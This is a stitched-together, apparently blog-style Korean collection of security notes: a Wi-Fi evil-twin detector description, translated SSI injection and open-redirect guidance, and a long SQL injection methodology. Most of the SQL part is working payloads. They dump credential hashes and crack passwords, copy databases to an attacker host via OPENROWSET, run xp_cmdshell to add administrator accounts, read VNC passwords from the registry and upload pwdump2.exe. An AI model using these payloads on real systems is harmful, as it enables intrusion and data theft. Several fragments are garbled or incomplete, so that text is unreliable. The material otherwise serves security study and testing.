// 스위치 관련 exploits 정리

Useful Links

Tools By The Community

Proof of Concept Exploits

These exploits are of no use for non-developer people and only show what will be possible soon!

// CVE-2016--4657 - LiveOverflow

// 스위치 관련 software 및  OS 등 관련 정보 기술



EvilAP_Defender is an application that helps wireless network administrators to discover and prevent Evil Access Points (AP) from attacking wireless users. The application can be run in regular intervals to protect your wireless network and detect Evil Twin attacks.

EvilAP Defender - Detect Evil Twin Attacks

By configuring the tool you can get notifications sent to your email whenever an evil access point is discovered. Additionally you can configure the tool to perform DoS on discovered evil AP in order to give the administrator more time to react. However, notice that the DoS will only be performed for evil APs which have the same SSID but different BSSID (AP’s MAC address) or running on a different channel. This to avoid DoS your legitimate network.

The tool is able to discover evil APs using one of the following characteristics:

  • Evil AP with a different BSSID address
  • Evil AP with the same BSSID as the legitimate AP but a different attribute (including: channel, cipher, privacy protocol, and authentication)
  • Evil AP with the same BSSID and attributes as the legitimate AP but different tagged parameter – mainly different OUI (tagged parameters are additional values sent along with the beacon frame.

Currently no software based AP gives the ability to change these values. Generally software based APs are so poor in this area).

Whenever an Evil AP is discovered the tool will alert the admin through email (SMS will be supported soon). Additionally the tool will enter into preventive mode in which the tool will DoS the discovered Evil AP. The tool can be configured easily by starting in what we call “Learning Mode”. In this mode you can whitelist your legitimate network. This can be done by following the wizards during the Learning Mode. You can also configure the preventive mode and admin notification from there as well.

Finally, you need to change into Normal Mode or re-run the tool in this mode in order to start discovering Evil APs.


Learning Mode:

This Mode can be invoked with the “-L” switch. When running the tool in this mode the tool will start by scanning for the available wireless networks. Then it lists all the found wireless networks with whitelisted APs colored with green. It also lists the whitelist APs and OUIs (tagged parameters).

The tool also provides several options which allow you to add/remove SSIDs into/from whitelist. You need to whitelist your SSID first before running the tool in the Normal Mode. Moreover, you can configure Preventive Mode from “Update options -> Configure Preventive Mode”. First you need to set the Deauthentication time (in seconds) into a number bigger than 0 (setting the value to 0 will disable this mode). Then you need to set the number of time to repeat the attack. This is so important for attacking more than Evil AP because the tool cannot attack all of them in the same time (how can you attack several APs on different channels? Later on we will improve the tool and allow it to attack (in the same time) several APs in the same channel).

The tool will attack the first Evil AP for specified deauthentication time then it will stop and attack the second one and so on. Be careful from increasing the Deatuth time so much because this may attack only one AP and leaving the others running. My recommendation is to set the Deauth time to something suitable such as 10 seconds and increasing the repeat time. Finally, you can configure admin notification by setting admin email, SMPT server address, SMTP username (complete email address) for authentication purpose, and SMTP password. You can use any account on Gmail or your internal SMTP server account.

Normal Mode:

This is the mode in which the tool starts to discover Evil APs and notify the administrator whenever one is discovered. This mode can be invoked by “-N” switch.

 [출처] [WASC-36] SSI Injection 번역|작성자 ezno

WASC-36 의 번역입니다. )

SSI Injection

Page history last edited by Robert Auger 2 years, 6 months ago

Project: WASC Threat Classification

Threat Type: Attack

Reference ID: WASC-36

SSI Injection

 SSI Injection (Server-side Include)  server side exploit 기술로서공격자가 웹 애플리케이션으로 나중에 웹 서버에 의해 실행 될 수 있는 코드를 보낼 수 있다. SSI Injection server-side로 해석된 HTML file 삽입하기 전에 사용자 제공 데이터를 유용하게 보이기 위해 웹 애플리케이션의 오류를 악용한다


 HTML 웹 페이지를 제공하기 전에웹 서버는 아마 Server-side  Include된 구문을 사용자에게 제공하기 전에 분석하고 실행시킬지 모른다.( 예를 들면게시판방명록 혹은 관리 시스템 콘텐츠 등), 웹 애플리케이션은 사용자 제공데이터에 web page의 소스코드를 삽입할 것이다

 만약 공격자가 Server-side Include 구문을 실행시킨다면그는 아마 임의적으로 운영체제의 명령어 를 실행시키거나제한된 파일의 내용을 포함 시킬 수 있을 것이다이러한 명령은 웹 서버 사용자의 권한 level로 실행 될 것이다.


 다음의 SSI tag는 공격자가 UNIX 기반의 시스템의 root 디렉토리 목록을 보여준다.

<!--#exec cmd="/bin/ls /" -->

  다음의 SSI tag는 공격자가 database 연결 string을 얻도록 하거나, .NET 설정 파일에 다른 중요한 데이터를 포함시킨다

<!--#INCLUDE VIRTUAL="/web.config"-->



다음의 체크항목을 확인해야 한다.


오직 페이지가 필요로하는 지정된 SSI만 실행가능하게 하고 나머지는 전부 실행할 수 없도록 한다

사용자가 제공한 HTML entity 를 인코딩하여 페이지에 전달하기 전에 SSI 실행 권한을 확인한다.

페이지가 웹 서버 유저가 아닌 파일의 소유주로서 실행시킬 수 있도록 SUExec[5] 를 사용한다   



"Server Side Includes (SSI)" - NCSA HTTPd



"Security Tips for Server Configuration" - Apache HTTPD



"Header Based Exploitation: Web Statistical Software Threats" -



"A practical vulnerability analysis"



"Apache suEXEC Support"



"Apache Tutorial: Introduction to Server Side Includes"



"Testing for SSI Injection"



Server Side Include (SSI) Injection



[출처] Testing for SSI Injection (OWASP-DV-009) 번역|작성자 ezno



Testing for SSI Injection (OWASP-DV-009)

(Redirected from Testing for SSI Injection)

OWASP Testing Guide v3 Table of Contents


Brief Summary (생략)

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the Server-Side Includes (SSI). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.


Description of the Issue

Server-Side Inlcudes는 웹서버가 사용자에게 페이지를 제공하기 전에 구문을 해석하도록 지시한다. Server-Side Inlcudes는 CGI프로그램을 작성하거나 혹은 server side 스크립트를 사용하는 내장된 간단한 언어들로오직 간단한 task들을 실행할 때 만 필요로 한다.

공통 SSI 구현은 외부의 파일들을 include 할 수 있는 명령어들을 제공하며웹 서버의 CGI 환경 변수를 설정하고 출력할 수 있고또한 외부의 CGI 스크립트 혹은 시스템 명령어들을 실행 할 수 있다.


SSI 지시를 static HTML 문서에 넣는 것은 다음과 같은 코드를 쓰는 것 만큼 간단하다 

<!--#echo var="DATE_LOCAL" -->

현재의 시간을 출력

<!--#include virtual="/cgi-bin/" -->

CGI 스크립트의 결과를 포함

<!--#include virtual="/footer.html" -->

파일 포함

<!--#exec cmd="ls" -->

시스템 명령어의 결과를 포함


만약 web server SSI 지원이 가능하면서버는 이러한 명령들을 실행 시킬 것이다기본 설정으로일반적으로대부분의 웹 서버들은 이러한 exec 명령들이 system 명령어를 실행시키도록 허용하지 않는다.

모든 bad 입력 값 검증(bad input validation) 상황처럼문제는 웹 애플리케이션의 사용자가 애플리케이션 혹은 웹 서버가 예측하지 못한 방식으로 데이터들을 제공하도록 허용할 때 발생한다.

SSI injection 때문에공격자가 애플리케이션에(혹은 서버에 직접적으로삽입된 동적으로 페이지를 생성 수 있는 input을 만들 수 있다면한 개 혹은 그 이상의 SSI 지시들을 parse 시킬 수 있다.

전통적인 스크립트 언어 injection 취약점과 매우 유사하다한가지 나은 점은 웹서버가 SSI를 허용하도록 설정해야 한다는 것이다.반면에, SSI Injection 취약점은 실행시키기 좀 더 간단하다왜냐하면 SSI 지시어들은 이해하기 쉽고파일의 내용을 출력하고 시스템 명령어를 실행 시킬 수 있을 만큼 강력하기 때문이다.


Black Box testing

finding if the web server actually supports SSI directives.

웹서버가 SSI 지시어들을 허용하는지 대상 웹사이트들의 컨텐츠를 보면서 확인한다.

.shtml 파일이 있다면, SSI를 허용할 가능성이 높다.

아래와 같은 입력 값들이 유효하며입력값이 저장된 것을 확인한다.

< ! # = / . " - > and [a-zA-Z0-9]

To test if validation is insufficient, we can input, for example, a string like the following in an input form

다음과 같은 문자열을 input form에 입력하여 확인을 해본다.

<!--#include virtual="/etc/passwd" -->

이것은 XSS 취약점을 점검하는 것과 유사하다.


만약 애플리케이션이 취약하다면지시어들은 삽입이 되고 다음 페이지가 제공될 때 서버에 의해서 해석될 것이다따라서, Unixpassword 파일이 컨텐츠에 포함될 것이다.

만약 웹 애플리케이션이 데이터들을 동적으로 페이지에게 생성하도록 한다면삽입은 HTTP 헤더에서 또한 수행할 수 있다.

GET / HTTP/1.0

Referer: <!--#exec cmd="/bin/ps ax"-->

User-Agent: <!--#include virtual="/proc/version"-->

Gray Box testing and example  (번역 생략)

If we have access to the application source code, we can quite easily find out:

If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate.

Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined.

How the input is handled, what kind of filtering is performed, what characters the application is not letting through, and how many types of encoding are taken into account.

Performing these steps is mostly a matter of using grep to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).



Apache Tutorial: "Introduction to Server Side Includes" -

Apache: "Module mod_include" -

Apache: "Security Tips for Server Configuration" -

Header Based Exploitation -

SSI Injection instead of JavaScript Malware -


Web Proxy Burp Suite -

Paros -


String searcher: grep -, your favorite text editor


Safe URL Redirects

When we want to redirect a user automatically to another page (without an action of the visitor such as clicking on a hyperlink) you might implement a code such as the following:

// 안전한 URL 리다이렉트는 아래와 같이 명확한 주소를 사용하는 경우이다.




 /* Redirect browser */




   redirect_to login_path

In the examples above, the URL is being explicitly declared in the code and cannot be manipulated by an attacker.

Dangerous URL Redirects

The following examples demonstrate unsafe redirect and forward code.

Dangerous URL Redirect Example 1

The following Java code receives the URL from the 'url' GET parameter and redirects to that URL.

//위험한 URL 리다이렉트는 아래와 같이 사용자로부터 받은 파라미터 정보를 URL을 그대로 리다이렉트 시켰을 경우이다.


The following PHP code obtains a URL from the query string and then redirects the user to that URL.

 $redirect_url = $_GET['url'];
 header("Location: " . $redirect_url);

A similar example of C# .NET Vulnerable Code:

 string url = request.QueryString["url"];

And in rails:

  redirect_to params[:url]

The above code is vulnerable to an attack if no validation or extra method controls are applied to verify the certainty of the URL. This vulnerability could be used as part of a phishing scam by redirecting users to a malicious site. If no validation is applied, a malicious user could create a hyperlink to redirect your users to an unvalidated malicious website, for example:

The user sees the link directing to the original trusted site ( and does not realize the redirection that could take place

Dangerous URL Redirect Example 2

ASP.NET MVC 1 & 2 websites are particularly vulnerable to open redirection attacks. In order to avoid this vulnerability, you need to apply MVC 3.

The code for the LogOn action in an ASP.NET MVC 2 application is shown below. After a successful login, the controller returns a redirect to the returnUrl. You can see that no validation is being performed against the returnUrl parameter.

Listing 1 – ASP.NET MVC 2 LogOn action in AccountController.cs

 public ActionResult LogOn(LogOnModel model, string returnUrl)
   if (ModelState.IsValid)
     if (MembershipService.ValidateUser(model.UserName, model.Password))
       FormsService.SignIn(model.UserName, model.RememberMe);
       if (!String.IsNullOrEmpty(returnUrl))
         return Redirect(returnUrl);
         return RedirectToAction("Index", "Home");
       ModelState.AddModelError("", "The user name or password provided is incorrect.");

   // If we got this far, something failed, redisplay form
   return View(model);

Dangerous Forward Example

When applications allow user input to forward requests between different parts of the site, the application must check that the user is authorized to access the url, perform the functions it provides, and it is an appropriate url request. If the application fails to perform these checks, an attacker crafted URL may pass the application’s access control check and then forward the attacker to an administrative function that is not normally permitted.

The following code is a Java servlet that will receive a GET request with a url parameter in the request to forward to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and complete the server-side forward processing before responding to the browser.

public class ForwardServlet extends HttpServlet 
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String query = request.getQueryString();
    if (query.contains("fwd")) 
      String fwd = request.getParameter("fwd");
        request.getRequestDispatcher(fwd).forward(request, response);
      catch (ServletException e) 




1 개요

1.1 SQL Query

1.2 DML & DLL

1.3  Metabata

1.4 웹 어플리케이션

1.5 일반적인 취약한 로그인 쿼리

2 SQL Injection 테스트 방법론

1) 입력 값 검증

2) 정보 수집

3) 1=1 Attacks

5) OS Interaction

6) OS 명령 프롬프트

7) 확장된 효과

3 회피 기술

3.1 개요

3.2 IDS “signature” 우회

3.3 입력 값 검증 우회 하기

3.4 회피와 우회

4 SQL Injection 대응 방안

4.1 개요

4.2 탐지 및 제한시키기

4.3 결론

 참조자료 및 문서


1 개요

SQL은 Structured Query Language의 표준이며, 사용자에게 데이터 베이스를 접근 할 수 있게 해준다. 현재 대부분 SQL99가 SQL Language의 표준이다. SQL은 DB에 대한 Query를 실행 시킬 수 있고, DB로부터 수정/검색/삽입/삭제/업데이트 할 수 있다.


1.1 SQL Query

SQL Language에는 많은 다른 버전이 있지만, 거의 비슷한 키워드의 명령어를 지원한다.(예: SELECT,UPDATE,DELETE,INSERT,WHERE 등) 대부분의 SQL 데이터베이스 프로그램은 SQL 표준 외에 그들 자신만의 확장된 언어를 가지고 있다. 관계형 데이터베이스는 하나 또는 그 이상의 테이블을 포함하고, 각각의 이름을 가진다. 테이블은 레코드단위로 데이터를 가진다.

) 아래의 테이블 명은 “user”이고 행과 열로서 데이터가 저장된다.






















▪ 데이터 베이스로 SQL Query를 보내서, 결과 값을 되돌려 받을 수 있다. 위의 테이블을 이용해서 다음과 같은 Query를 사용 할 수 있다.


a) SELECT LastName FROM users WHERE UserID = 1;

b) 결과 값(레코드 셋)




1.2 DML & DLL

▪ Data Manipulation Language(데이터 조작어) : SELECT ,UPDATE ,INSERT INTO DELETE와 같이 데이터를 조작하는 언어를 뜻 한다.

▪ Data Definition Language(데이터 정의어) : 데이터 정의어로서 데이터베이스 테이블을 생성/삭제 하고, 인덱스(키)를 정의, 테이블 사이의 관계를 설정 하며, 데이터베이스 테이블 사이의 제약 조건을 설정한다.



1.3  Metabata

대부분의 SQL 데이터베이스들은 관계형 데이터베이스 기반이다. SQL Injection을 위한 중요한 사실은 관계형 데이터 베이스는 Codd의 12법칙 중에서 4법칙을 확실히 따르고 있다는 것이다. 제4법칙 : 메타데이터(데이터베이스에 관한 데이터)는 반드시 일반적인 데이터들처럼 데이터베이스에 저장 되어야 한다. 또한 데이터 베이스구조는 SQL Query문을 통해서 읽거나 수정 할 수 있다


1.4 웹 어플리케이션

데이터베이스 엔진에 삽입하는 SQL 명령들은 애플리케이션을 통해 이용 가능하다. 이것은 오늘날의 대부분의 공통적인 웹사이트의 취약점 중에 하나이다. 이것은 Web Application의 발전에 따른 것이고, DB나 Web Server의 문제가 아니다. 대부분의 프로그래머들은 여전히 이 문제를 인식하지 못한다. 많은 지침서와 데모 템플릿이 취약 하다. 심지어 인터넷에 게시된 많은 솔루션들도 좋지 못하다. 모의 해킹을 의뢰한 60%가 넘는 고객의 시스템이 SQL Injection에 취약하다는 결과를 내놓는다. 대부분의 SQL 데이터베이스들 그리고 프로그래밍 언어들은 잠재적으로 취약하다. DBMS는 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix 등이 이다.


애플리케이션을 통한 데이터베이스 접근 방법

▪ Perl and CGI scripts



▪ no_javascript

▪ VB, MFC, and other ODBC-based tools and APIs

▪ DB specific Web-based applications and API’s

▪ Reports and DB Applications

▪ 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)


1.5 일반적인 취약한 로그인 쿼리

SELECT * FROM users WHERE login = 'victor' AND password = '123'


1) ASP/MS SQL Server 로그인 문법

var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";


a)문자를 통한 Injection

formusr ' or 1=1 – –

formpwd = anything


b) 최종 쿼리 결과

SELECT * FROM users WHERE username = ' or 1=1 – – AND password ='anything'


2) PHP/MySQL 로그인 문법

$sql = "SELECT * FROM clients WHERE account = $formacct  AND pin = $formpin";


a) 숫자 입력 필드에 삽입

$formacct 1 or 1=1 #

$formpin = 1111


b) 최종 쿼리 결과

SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111


SQL Injection 테스트 방법론 


1) 입력 값 검증

취약점은 어디든지 생길 수 있고, 아래의 사항을 모두 체크 해야 한다.

a) 웹 폼의 필드

b) URL 쿼리 스트링의 스크립트 파라미터 값

c) 쿠키 또는 히든 필드에 저장된 값

d) 아래의 문자열을 모든 입력 필드에 테스트해야 한다.


▪ 문자 : ' " ) # || + >

▪ SQL Query 명령을 공백(구분자)과 같이:

%09select (tab%09, carriage return%13, linefeed%10 and space%32 with andor,updateinsertexec)

▪ 지연 쿼리:' waitfor delay '0:0:10'--



2) 정보 수집

아래의 항목들을 알아내려고 시도해야 한다.


a) 출력 메커니즘 연구하기

1. 웹 애플리케이션의 쿼리 결과 값을 이용한다.

2. 에러 메시지 : 에러 메시지로부터 입력 값 검증을 유추 할 수 있다.

3. Blind SQL Injection : 시간의 지연 또는 에러 메시지를 사용하여 정보를 추출한다. Blind SQL Injection은 SQL Injection과 거의 비슷하지만, 많은 Query를 통해서 정보가 수집해야 되고, 또한 필드 값이나 테이블명과 같은 정보를 추측해야 하므로, 매우 느리고 더욱 어렵다.


■ 에러 메시지를 통해서 정보 추출 하기

i. 그룹 핑 에러

' group by columnnames having 1=1 - -


ii. 타입의 불일치

' union select 1,1,'text',1,1,1 - -

' union select 1,1, bigint,1,1,1 - -


iii. 더 좋은 방법으로, DB에서 하위 Query를 이용 한다.

' and 1 in (select 'text' ) - -


iv. 데이터를 CAST또는 CONVERT연산자를 이용한 에러메시지 도출도 필요하다.


■ Blind Injection

i. 출력 시 나오는 다른 출력 값을 이용

and condition  and '1'='1


ii. IF문을 사용

'; if condition  waitfor delay '0:0:5' --

'; union select ifcondition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;


iii. 추가적으로 우리는 모든 타입의 Query를 실행 할 수 있지만, 출력된 정보에 대해 디버깅할 수는 없다. 우리는 단지 yes/no 응답을 얻을 수 있다. 또한, 특정 필드의 데이터에 대한 ASCII값을 추출 할 수 있다. 매우 까다로운 작업이지만, SQueaL과 같은 자동화된 툴도 있다.


b) 쿼리의 이해

i. SELECT 명령문 - 대부분의 Injection은 SELECT 명령을 이용한다.

SELECT  * FROM table WHERE x = 'normalinput' group by x having 1=1 --



ii. UPDATE 명령문 – 아래와 같이 웹 애플리케이션에서 당신의 패스워드 부분을 수정 할 수 있다.

UPDATE users    SET password = 'new password'  WHERE login = logged.user
AND password = 'old password'


c) 데이터베이스 타입의 결정

대부분의 경우 에러 메시지는 어떤 DB엔진을 사용하는지 출력 한다. ODBC에러는 DB 타입 (드라이브 정보의 부분으로써)을 나타낸다. 만약에 ODBC 에러가 발생하지 않으면, 어떤 OS와 Web Sever를 사용하지를 추측해야 하거나 특별한 DB문자, 명령어, 저장된 프로시저를 통한 에러 메시지를 사용해야 한다.


▪ DBMS별 차이점 (1)


▪ DBMS별 차이점 (2)


d) 사용자의 권한 레벨을 알아 낸다.

i. 사용자의 권한 레벨을 알아 내기 위해서는 대부분의 SQL에서 구현되는 SQL99 내장된 아래와 같은 기능을 가지고 있다.

user  or current_user



and 1 in (select user --

'; if user ='dbo' waitfor delay '0:0:5 '--

' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );


ii. 기본 관리자 계정

sa, system, sys, dba, admin, root 등


iii. MS SQL 에서 dbo는 매핑 되어 있다. 사용자 dbo는 DB에서 모든 활동을 수행할 수 있는 권한을 가지고 있다. 서버의 고정된 규정에 의하면 Sysadmin의 DB를 사용하는 어떤 유저는 각 DB에서 dbo라고 불리는 특별한 사용자에게 매핑 되어 있다. 또한 sysadmin의 어떤 사용자에 의해 만들어진 객체는 자동적으로 dbo를 가진다.


e) OS interaction 레벨을 결정


3) 1=1 Attacks

 데이터 베이스, 쿼리구조, 권한에 관한 정보를 알게 되면, 공격이 가능해 진다.


a) 테이블에 정의된 사용자를 열거하는 Query

and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --


b) DB에서 테이블 컬럼명을 열거하는 쿼리


SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name ='tablename ')

sp_columns tablename (this stored procedure can be used instead)


show columns from tablename


▪ Oracle

SELECT * FROM all_tab_columns WHERE table_name='tablename '

▪ DB2

SELECT * FROM syscat.columns WHERE tabname= 'tablename '

▪ Postgres

SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename 
AND pg_class.oid=attrelid AND attnum > 0


c) 모든 테이블과 컬럼명을 하나의 Query로 질의 하기

' union select 0, + ': ' + + ': ' +, 1, 1, '1', 1, 1, 1, 1, 1  from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND = AND syscolumns.xtype = systypes.xtype --


d) 서버에서 다른 데이터베이스 질의 하기

' and 1 in (select min(name ) from  master.dbo.sysdatabases where name >'.') --


e) 데이터 베이스의 파일 위치 질의 하기

' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename>'.' ) --


d) 각 DBMS별 시스템 테이블


MS SQL Server


MS Access






















e) 사용자가 정의된 테이블에서 사용자이름과 패스워드 추출하기

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' '

 from users where login>@var select @var as var into temp end --

' or 1 in (select var from temp) --

' ; drop table temp --


f) 데이터베이스에 계정 생성하기


exec sp_addlogin ' victor ', 'Pass123'

exec sp_addsrvrolemember 'victor', 'sysadmin'


INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass123'))

▪ Access


▪ Postgres (requires UNIX account)


▪ Oracle





g) MS SQL Server 해쉬값 추출하기

i. 간단한 방법

SELECT name, password FROM master..sysxlogins


ii. 패스워드 해쉬값 추출하기

SELECT password FROM master..sysxlogins


   ii. 해쉬값이 2진수(binary)이므로 16진수(hex)로 변환한다.

begin @charvalue='0x', @i=1, @length=datalength(@binvalue),

@hexstring = '0123456789ABCDEF'

while (@i<=@length) BEGIN

declare @tempint int, @firstint int, @secondint int

select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) 
select @firstint=FLOOR(@tempint/16)  
select @secondint=@tempint - (@firstint*16) 
select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +

SUBSTRING (@hexstring, @secondint+1, 1) 

select @i=@i+1  END


   iii. 한번에 실행하는 명령어

'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin  declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)  select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)  select @i=@i+1  end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end –


   vi. 에러 메시지를 통해서 해쉬 값 추출하기

▪ ' and 1 in (select x from temp) --

▪ ' and 1 in (select substring (x, 256, 256) from temp) --

▪ ' and 1 in (select substring (x, 512, 256) from temp) --

▪ ' drop table temp --







   v. 패스워드 무작위 대입

▪ SQL 패스워드 크랙 스크립트

create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0

drop table tempdb..passwords


   vi. DB구조와 데이터 전송하기

만약에 네트워크 연결이 되어 있으면 80번 포트를 통해서 리버스 연결이 성립 할 수 있고, 모든 DB가 우리의 로컬 SQL 서버에 전송 할 수 있다. 데이터 베이스의 메타데이터 전송으로 로컬 SQL 서버에 동일한 DB구조를 생성 할 수 있다.

Step 1. 로컬 SQL서버에 Victim과 동일한 DB구조 생성


'; insert into 
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases --

'; insert into                                                   
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')                  
select * from user_database.dbo.sysobjects --

'; insert into
'select * from mydatabase..hacked_syscolumns')
select * from user_database.dbo.syscolumns --


step 2. 데이터를 DB 테이블을 아래의 방법을 통하여 쉽게 전송 할 수 있다.

'; insert into


'select * from mydatabase..table1')

select * from database..table1 --

'; insert into



'select * from mydatabase..table2')

select * from database..table2 --


5) OS Interaction

OS Interaction에는 두 가지 방법이 있는데, 명령어를 읽기/실행 가능성은 DB엔진과 DB 설정에 달려있다. 두 가지 경우모두 권한이 DB 엔진 관리자에게 제한 되어있다. 만약 우리가 파일을 읽기/쓰기 가능하면, 우리는 패스워드와 설정 정보가 들어 있는 DB파일을 변경 할 수 있다. 또한 우리가 OS 명령어를 실행 할 수 있으면, 무엇이든지 할 수 있다.


a) MySQL OS Interaction



' union select 1,load_file('/etc/passwd'),1,1,1;




create table temp( line blob );

load data infile '/etc/passwd' into table temp;

select * from temp;








b) MS SQL OS Interaction

'; exec master..xp_cmdshell 'ipconfig > test.txt' --

'; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,256) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --



▪ 웹 서버에서 DB에 접근 하는 구조

대부분의 경우 웹 서버와 DB서버는 같지 않고, DB서버는 Internet에 연결 되어 있지 않아도 애플리케이션 서버를 통해서 명령을 실행 할 수 있다.



▪ 네트워크 연결에 접근

i. 서버 이름을 에러 메시지로 출력하기

and 1 in (select @@servername ) --

and 1 in (select srvname from master..sysservers ) --




ii. Reverse lookups를 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'nslookup MyIP' --



iii. Revers ping을 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'ping MyIP' --





'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;', 
'select * from table')





▪ 네트워크 예비 점검

i. 확장 프로시저 xp_cmdshell를 이용하여 아래의 명령을 실행

▪ Ipconfig /all

▪ Tracert  myIP

▪ arp -a

▪ nbtstat -c

▪ netstat -ano

▪ route print








ii. 네트워크 예비 점검 전체 Query

▪ '; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 >> test.txt'; EXEC master..xp_cmdshell @var --

▪ '; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

▪ '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

▪ ' and 1 in (select substring(x,1,255) from temp) --

▪ '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --


6) OS 명령 프롬프트

i. OS로 점프하기

▪ Linux based MySQL

' union select 1, (load_file('/etc/passwd')),1,1,1;

▪ MS SQL Windows Password Creation

'; exec xp_cmdshell 'net user /add victor Pass123'--

'; exec xp_cmdshell 'net localgroup /add administrators victor' --

▪ Starting Services

'; exec master..xp_servicecontrol 'start','FTP Publishing' --











ii. ActiveX 자동 스크립트 이용

▪ Speech example

'; declare @o int, @var int                                     
exec sp_oacreate 'speech.voicetext', @o out 
exec sp_oamethod @o, 'register', NULL, 'x', 'x' 
exec sp_oasetproperty @o, 'speed', 150             
exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1 
waitfor delay '
00:00:03' --


iii. 레지스트리로부터 VNC 패스워드 찾기

'; declare @out binary(8) 
exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\ORL\WinVNC3\Default',@value_name='Password', 
@value = @out output 
select cast(@out as bigint) as x into TEMP--

and 1 in (select cast(x as varchar) from temp) --


7) 확장된 효과

▪ 다른 DB서버에 연결 하기


i. MS SQL에 링크된 서버를 찾기

select * from sysservers





ii. OPENROWSET 명령을 사용하여 쉽게 다른 서버를 접근 할 수 있다.


iii. 같은 전략으로 OPENROWSET을 이용한 리버스 연결로 쉽게 접근 할 수 있다.


▪ 링크된 서버에도 접속이 가능하다.

'; insert into



'select * from mydatabase..hacked_sysservers')

select * from master.dbo.sysservers

'; insert into



'select * from mydatabase..hacked_linked_sysservers')

select * from LinkedServer.master.dbo.sysservers

'; insert into



'select * from mydatabase..hacked_linked_sysdatabases')

select * from LinkedServer.master.dbo.sysdatabases


















▪ 저장된 프로시저를 통한 원격 접속 실행

만약에 원격 서버에 저장된 프로시저 실행이 허용되어 있다면 가능할 것이다.

insert into


'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *

from mydatabase..hacked_sysservers')

exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'

insert into


'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from


exec Linked_Server.master.dbo.sp_executesql N'select * from

















▪ Reverse 연결을 통한 파일 업로드

▪ '; create table AttackerTable (data text) --

▪ '; bulk insert AttackerTable --
from 'pwdump2.exewith (codepage='RAW')

▪ '; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP80' --

